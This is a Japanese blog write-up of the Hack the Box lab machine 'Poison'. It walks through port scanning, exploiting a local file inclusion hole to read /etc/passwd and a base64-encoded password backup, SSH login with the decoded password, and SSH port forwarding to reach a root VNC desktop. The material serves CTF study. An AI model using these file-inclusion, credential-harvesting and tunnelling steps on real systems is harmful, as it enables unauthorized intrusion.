LoginSignup
1
0

More than 1 year has passed since last update.

Hack the Box (HTB) Poison write-up

Last updated at Posted at 2020-08-27

はじめに

こんにちは。どうも最近積極的にHTBに取り組んでいます。
自分のまとめのためにも書いていきたいと思います。また日本語の解説も少なかったりするので参考の1つとしてみてくれたらなと思います。

間違っているところとかあればご指摘お願いします。

Twitter:@ikk_hck

Poison

HackTheBox公式より

Screen Shot 2020-08-26 at 21.23.26.png

Poison is a fairly easy machine which focuses mainly on log poisoning and port forwarding/tunneling. The machine is running FreeBSD which presents a few challenges for novice users as many common binaries from other distros are not available.

スキャン

例によってPoison(10.10.10.84)にポートスキャン

nmap -sV -sC -Pn 10.10.10.84

オプションの説明は前回の記事、Hack the Box (HTB) Devel write-upを参照してください。
結果、

Starting Nmap 7.80 ( https://nmap.org ) at 2020-08-26 08:20 EDT
Nmap scan report for 10.10.10.84
Host is up (0.19s latency).
Not shown: 995 closed ports
PORT     STATE    SERVICE VERSION
22/tcp   open     ssh     OpenSSH 7.2 (FreeBSD 20161230; protocol 2.0)
| ssh-hostkey: 
|   2048 e3:3b:7d:3c:8f:4b:8c:f9:cd:7f:d2:3a:ce:2d:ff:bb (RSA)
|   256 4c:e8:c6:02:bd:fc:83:ff:c9:80:01:54:7d:22:81:72 (ECDSA)
|_  256 0b:8f:d5:71:85:90:13:85:61:8b:eb:34:13:5f:94:3b (ED25519)
80/tcp   open     http    Apache httpd 2.4.29 ((FreeBSD) PHP/5.6.32)
|_http-server-header: Apache/2.4.29 (FreeBSD) PHP/5.6.32
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
389/tcp  filtered ldap
545/tcp  filtered ekshell
1059/tcp filtered nimreg
Service Info: OS: FreeBSD; CPE: cpe:/o:freebsd:freebsd

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 49.59 seconds

調査

ブラウザで10.10.10.84を訪れてみる。
Screen Shot 2020-08-26 at 21.34.06.png

テストファイルがいくつかあるのでそれぞれ入力して試してみる。するとlistfiles.phpで
Screen Shot 2020-08-26 at 21.34.19.png

が表示された。よくみると最後にpwdbackup.txt。もう怪しさしかない。他のファイルは最初にリストアップされていたもののようです。
さっそく試してみる
Screen Shot 2020-08-26 at 21.34.37.png
submitすると

Screen Shot 2020-08-26 at 21.34.55.png
が表示されます。どうやらbase64でエンコードされています。base64の特徴としては、データ長を揃えるためにパディングとして末尾に記号の=を使用、記号が少なく英数字で構成されているなどがあります。

デコード

これを適当なファイルに保存して解読していきたいと思います。
今回はtmp.txtとして保存した後に

$sed 's/ //g' tmp.txt > decode.txt

で空白を除きます。軽く説明すると"s"が正規表現で処理、/(置換前)/(置換後)/、"g"がマッチしたもの全てに処理をする、です。※今回は空白を除きたいので置換の部分は「/ //」です。

$cat new_tmp.txt 
Vm0wd2QyUXlVWGxWV0d4WFlURndVRlpzWkZOalJsWjBUVlpPV0ZKc2JETlhhMk0xVmpKS1IySkVUbGhoTVVwVVZtcEdZV015U2tWVQpiR2hvVFZWd1ZWWnRjRWRUTWxKSVZtdGtXQXBpUm5CUFdWZDBSbVZHV25SalJYUlVUVlUxU1ZadGRGZFZaM0JwVmxad1dWWnRNVFJqCk1EQjRXa1prWVZKR1NsVlVWM040VGtaa2NtRkdaR2hWV0VKVVdXeGFTMVZHWkZoTlZGSlRDazFFUWpSV01qVlRZVEZLYzJOSVRsWmkKV0doNlZHeGFZVk5IVWtsVWJXaFdWMFZLVlZkWGVHRlRNbEY0VjI1U2ExSXdXbUZEYkZwelYyeG9XR0V4Y0hKWFZscExVakZPZEZKcwpaR2dLWVRCWk1GWkhkR0ZaVms1R1RsWmtZVkl5YUZkV01GWkxWbFprV0dWSFJsUk5WbkJZVmpKMGExWnRSWHBWYmtKRVlYcEdlVmxyClVsTldNREZ4Vm10NFYwMXVUak5hVm1SSFVqRldjd3BqUjJ0TFZXMDFRMkl4WkhOYVJGSlhUV3hLUjFSc1dtdFpWa2w1WVVaT1YwMUcKV2t4V2JGcHJWMGRXU0dSSGJFNWlSWEEyVmpKMFlXRXhXblJTV0hCV1ltczFSVmxzVm5kWFJsbDVDbVJIT1ZkTlJFWjRWbTEwTkZkRwpXbk5qUlhoV1lXdGFVRmw2UmxkamQzQlhZa2RPVEZkWGRHOVJiVlp6VjI1U2FsSlhVbGRVVmxwelRrWlplVTVWT1ZwV2EydzFXVlZhCmExWXdNVWNLVjJ0NFYySkdjR2hhUlZWNFZsWkdkR1JGTldoTmJtTjNWbXBLTUdJeFVYaGlSbVJWWVRKb1YxbHJWVEZTVm14elZteHcKVG1KR2NEQkRiVlpJVDFaa2FWWllRa3BYVmxadlpERlpkd3BOV0VaVFlrZG9hRlZzWkZOWFJsWnhVbXM1YW1RelFtaFZiVEZQVkVaawpXR1ZHV210TmJFWTBWakowVjFVeVNraFZiRnBWVmpOU00xcFhlRmRYUjFaSFdrWldhVkpZUW1GV2EyUXdDazVHU2tkalJGbExWRlZTCmMxSkdjRFpOUkd4RVdub3dPVU5uUFQwSwo=

空白がなくなっているのがわかります。次に実際にデコードしていきます。ブラウザでpwdbackup.txtをみた時、1行目に少なくても13回エンコードされているとあるのでとりあえず13回デコードしてみます。地道に13回やってもいいのですが今回は

$ for i in `seq 0 12`
> do
> cat decode.txt | base64 -d > tmp_decode.txt
> mv tmp_decode.txt decode.txt 
> done

としました。なぜわざわざtmp_decode.txtにいったん出力しているかというと、tmp_decode.txtに出力してからdecode.txtにコピーしないと、catした時点で出力先のファイルがゼロクリアされるためです。
decode.txtをみてみると

$ cat decode.txt 
Charix!2#4%6&8(0

パスワードが解読できているようです。
また先ほどのサイトは明らかにLFI(Web app Security Memo参照)の脆弱性があるので/etc/passwd/を入力しsubmitしてみると
Screen Shot 2020-08-27 at 17.49.00.png
最後の行からユーザー名が"charix"であることがわかりました。これでユーザ名とパスワードがそろいました。最初のnmapでsshの22番ポートも開いていましたね?さっそく得た情報を使ってssh接続していきたいと思います。

ssh接続

$ ssh charix@10.10.10.84
Password for charix@Poison:
Last login: Mon Mar 19 16:38:00 2018 from 10.10.14.4
FreeBSD 11.1-RELEASE (GENERIC) #0 r321309: Fri Jul 21 02:08:28 UTC 2017

Welcome to FreeBSD!

Release Notes, Errata: https://www.FreeBSD.org/releases/
Security Advisories:   https://www.FreeBSD.org/security/
FreeBSD Handbook:      https://www.FreeBSD.org/handbook/
FreeBSD FAQ:           https://www.FreeBSD.org/faq/
Questions List: https://lists.FreeBSD.org/mailman/listinfo/freebsd-questions/
FreeBSD Forums:        https://forums.FreeBSD.org/

Documents installed with the system are in the /usr/local/share/doc/freebsd/
directory, or can be installed later with:  pkg install en-freebsd-doc
For other languages, replace "en" with a language code like de or fr.

Show the version of FreeBSD installed:  freebsd-version ; uname -a
Please include that output and any error messages when posting questions.
Introduction to manual pages:  man man
FreeBSD directory layout:      man hier

Edit /etc/motd to change this login announcement.
Simple tcsh prompt: set prompt = '%# '                                                                                                            
charix@Poison:~ %      

無事接続できたのでディレクトリをのぞいてみると

charix@Poison:~ % ls                                                                                                                              
secret.zip      user.txt

secret.zipが気になるのでダウンロードしてきて解凍。出力してみましたがよくわかりませんでした。

$ scp charix@10.10.10.84:secret.zip ~/Desktop/poison/
Password for charix@Poison:
secret.zip                                              100%  166     0.2KB/s   00:01    
$ unzip secret.zip 
Archive:  secret.zip
[secret.zip] secret password: 
 extracting: secret 

ポートを開いているプロセス情報を教えてくれるsockstatを使ってさらに調べていきます。

charix@Poison:~ % sockstat -4 -l
USER     COMMAND    PID   FD PROTO  LOCAL ADDRESS         FOREIGN ADDRESS      
root     sendmail   660   3  tcp4   127.0.0.1:25          *:*
www      httpd      649   4  tcp4   *:80                  *:*
www      httpd      648   4  tcp4   *:80                  *:*
www      httpd      645   4  tcp4   *:80                  *:*
www      httpd      642   4  tcp4   *:80                  *:*
www      httpd      641   4  tcp4   *:80                  *:*
www      httpd      640   4  tcp4   *:80                  *:*
www      httpd      639   4  tcp4   *:80                  *:*
www      httpd      638   4  tcp4   *:80                  *:*
root     httpd      625   4  tcp4   *:80                  *:*
root     sshd       620   4  tcp4   *:22                  *:*
root     Xvnc       529   1  tcp4   127.0.0.1:5901        *:*
root     Xvnc       529   3  tcp4   127.0.0.1:5801        *:*
root     syslogd    390   7  udp4   *:514                 *:*

オプションの説明としては

-l リスニングポートを一覧表示
-4 IPv4オープンポートを一覧表示

といったかんじです。すると最後の方の行からvnc用に5901番と5801番ポートが開いていることがわかります。

ポートフォワーディング

しかし10.10.10.84からの接続しか受け付けていないためsshポートフォワーディングをします。一応補足しておくと、ポートフォワーディングとはいわゆるポート転送のことで、ローカルのポート接続からあるサーバを踏み台にして直接アクセスできない別のサーバのポートにアクセスしたいときに使われたりします。SSHポートフォワード:OpenSSH の -L と -R オプションの動作を図解などを参照してみてください。今回のPoisonでは踏み台にするサーバーと最終的な目的地としてのサーバは同じです。

$ ssh charix@10.10.10.84 -L 5901:127.0.0.1:5901
Password for charix@Poison:
Last login: Thu Aug 27 10:57:43 2020 from 10.10.14.8
FreeBSD 11.1-RELEASE (GENERIC) #0 r321309: Fri Jul 21 02:08:28 UTC 2017

Welcome to FreeBSD!

Release Notes, Errata: https://www.FreeBSD.org/releases/
Security Advisories:   https://www.FreeBSD.org/security/
FreeBSD Handbook:      https://www.FreeBSD.org/handbook/
FreeBSD FAQ:           https://www.FreeBSD.org/faq/
Questions List: https://lists.FreeBSD.org/mailman/listinfo/freebsd-questions/
FreeBSD Forums:        https://forums.FreeBSD.org/

Documents installed with the system are in the /usr/local/share/doc/freebsd/
directory, or can be installed later with:  pkg install en-freebsd-doc
For other languages, replace "en" with a language code like de or fr.

Show the version of FreeBSD installed:  freebsd-version ; uname -a
Please include that output and any error messages when posting questions.
Introduction to manual pages:  man man
FreeBSD directory layout:      man hier

Edit /etc/motd to change this login announcement.
To see the output from when your computer started, run dmesg(8).  If it has
been replaced with other messages, look at /var/run/dmesg.boot.
                -- Francisco Reyes <lists@natserv.com>
charix@Poison:~ % 

コマンドの説明としては
ssh [踏み台にするサーバ] -L [ローカルポート]:[目的地のアドレス]:[目的地のポート]です。
成功しているみたいなので別のシェルを開いてvncviewerを起動。パスワードは先ほどのsecretを使います。この時の127.0.0.1はローカルで、先ほどの

$ ssh charix@10.10.10.84 -L 5901:127.0.0.1:5901

の127.0.0.1は10.10.10.84のローカルなので混乱しないでください。

$vncviewer -passwd secret 127.0.0.1:5901
Connected to RFB server, using protocol version 3.8
Enabling TightVNC protocol extensions
Performing standard VNC authentication
Authentication successful
Desktop name "root's X desktop (Poison:1)"
VNC server default format:
  32 bits per pixel.
  Least significant byte first in each pixel.
  True colour: max red 255 green 255 blue 255, shift red 16 green 8 blue 0
Using default colormap which is TrueColor.  Pixel format:
  32 bits per pixel.
  Least significant byte first in each pixel.
  True colour: max red 255 green 255 blue 255, shift red 16 green 8 blue 0
Same machine: preferring raw encoding
vncviewer -passwd secret 127.0.0.1:5901
Connected to RFB server, using protocol version 3.8
Enabling TightVNC protocol extensions
Performing standard VNC authentication
Authentication successful
Desktop name "root's X desktop (Poison:1)"
VNC server default format:
  32 bits per pixel.
  Least significant byte first in each pixel.
  True colour: max red 255 green 255 blue 255, shift red 16 green 8 blue 0
Using default colormap which is TrueColor.  Pixel format:
  32 bits per pixel.
  Least significant byte first in each pixel.
  True colour: max red 255 green 255 blue 2

すると
Screen Shot 2020-08-27 at 19.37.39.png

のような画面が開くのであとはこの中のroot.txtを開くだけ。
おつかれさまでしたー、では。

1
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
0